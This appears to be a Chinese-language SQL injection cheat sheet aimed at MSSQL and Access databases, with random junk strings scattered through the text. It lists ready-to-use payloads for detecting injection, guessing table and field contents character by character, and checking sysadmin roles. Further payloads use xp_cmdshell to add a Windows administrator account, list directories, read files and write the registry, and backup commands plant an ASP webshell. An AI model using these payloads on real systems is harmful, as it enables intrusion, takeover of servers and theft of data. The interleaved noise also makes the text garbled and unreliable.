1.判断是否有注入;and 1=1 ;and 1=2 +zFEx%3^
2.初步判断是否是mssql ;and user>0 KC\W6|NtGj
T6,6lll
3.注入参数是字符'and [查询条件] and ''=' v@!r$jZ
61K:SXj
4.搜索时没过滤参数的'and [查询条件] and '%25'=' kdm@1x
7sJGB^vM
5.判断数据库系统 #4sSt-s&
^[ >
;and (select count(*) from sysobjects)>0 mssql >F!X'#Iv
~;uW)
[
;and (select count(*) from msysobjects)>0 access 0c#|LF_
X`}4=>
,S3uY6,
f2$<4Hhmm
6.猜数据库 ;and (select Count(*) from [数据库名])>0 M<)Vtn
IC. R4-
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 5sMyH[5zY
u7u1lx>S
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 iEBxBsz_
fVBu?<=d
9.(1)猜字段的ascii值(access) e]d\S]5
"CT`]:GGK
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ^W,x
]n|lHZR
(2)猜字段的ascii值(mssql) ,6\oT;G
Mw $.B#
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ?Qh[vcF7`
NEMC
10.测试权限结构(mssql) W QyMM@#
}Mh`j$
*7/MeE6)i
M#]URS2h<O
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- [%7oq;^J
) ]]PhGX~
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ~M J3-<I
x@"`KiEUs
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 7y>{Y$n
N%8aLD
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- .*w3 ryQ
Zv1/J}+
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- E@ !~q
=^3B&qQNq
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- Js8d{\0\
T;JA.=I
;and 1=(select IS_MEMBER('db_owner'));-- ,Z]4`9c
wo!;Bxo
N
"/U~j4O
,`l8KRd
11.添加mssql和系统的帐户 bMF`KRP2
9RN! <`H
;exec master.dbo.sp_addlogin username;-- 2Y{r2m|o
;exec master.dbo.sp_password null,username,password;-- _M}}H3
|/p2DU2
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- /H[ !v:U
$P~Tt 4068
;exec master.dbo.xp_cmdshell 'net user username password 3MFb\s&Fq
SQVyCxcX_
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 'x\{sv
|h1Y3
;exec master.dbo.xp_cmdshell 'net user username password /add';-- syLpnNx=
E?P:!V=_
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- Ra?0jcSQ$
<</
Le%
qc`UDD5
h/F,D_O>ZO
12.(1)遍历目录 ;F'/[l{+
ns[Q %_
;create table dirs(paths varchar(100), id int) cn!Y7LVr
k7Z1Y!n7
;insert dirs exec master.dbo.xp_dirtree 'c:\' T$;N8x[
Lv?e[GA
;and (select top 1 paths from dirs)>0 ZYX(Cf
*l4`2 eqZ
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) Kf7v_T/
('.r_F
(|<.7K N
7Cj6Kw5k
(2)遍历目录 Tn8GLn
@=1kr ^i
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 9gokTFoN
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 %phv <AW
Nt'u;0
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 q+-Bl
Syj7K*,%bZ
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 -%x9^oQwY
|CFTOe\q
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
=:-x;
(*2kM|
0<T/P+|
*z
A1 NH5
13.mssql中的存储过程 UA}oOteG
2r=A'
xp_regenumvalues 注册表根键, 子键 v'zf*]9
!EQMTF=(
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 v(tr:[V
<+c6CM$#}V
xp_regread 根键,子键,键值名 7&z`N^dz{
B}y-zj;T
;exec xp_regread 9>"To
;eeu 9_$
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 f#9\&-he0
m^)h/s0A
xp_regwrite 根键,子键, 值名, 值类型, 值 %v(\;&@
(7g1eEK%
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 "~lGSWcU
p$cSES>r:
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 &t\KKsUtd
Ll L8Q
xp_regdeletevalue 根键,子键,值名 <ZM8*bqi
Qm\VZ<6/5
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 i`1QR@11
<2a7>\74E0
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 Vi~F
Q
Y"&c .
CL$mK5u
~\z\f}w
14.mssql的backup创建webshell jci'q=Vpu
JUlV$b.)J
use model S?5z
YbrsXp"
create table cmd(str image); qeyBZ8BG
xv{iWJcs
insert into cmd(str) values (''); m_z1|zM}o
H+>l][
backup database model to disk='c:\l.asp'; ZdD]l*.\i
i}5
#n
f}'E|:Z 7k
@edi6b1W
15.mssql内置函数 :h&*<!O2B`
[yF4_UoF
;and (select @@version)>0 获得Windows的版本号 ega< {t
:hp=>^$Y
;and user_name()='dbo' 判断当前系统的连接用户是不是sa sGCV um}
WBA0!
g98
;and (select user_name())>0 爆当前系统的连接用户 ,&sBa{0
"yI)F~A
;and (select db_name())>0 得到当前连接的数据库 24Y~x`W
Z;_WU
#n'tpp~O
\DE`tkV8
16.简洁的webshell !=.5$/
k.DDfuKN
use model uSs~P%@6|
QMzBx*g(
create table cmd(str image); c4R6E~S
bYEq`kjzc
insert into cmd(str) values (''); }cll? 2
PF1m :Iz`d
backup database model to disk='g:\wwwtest\l.asp';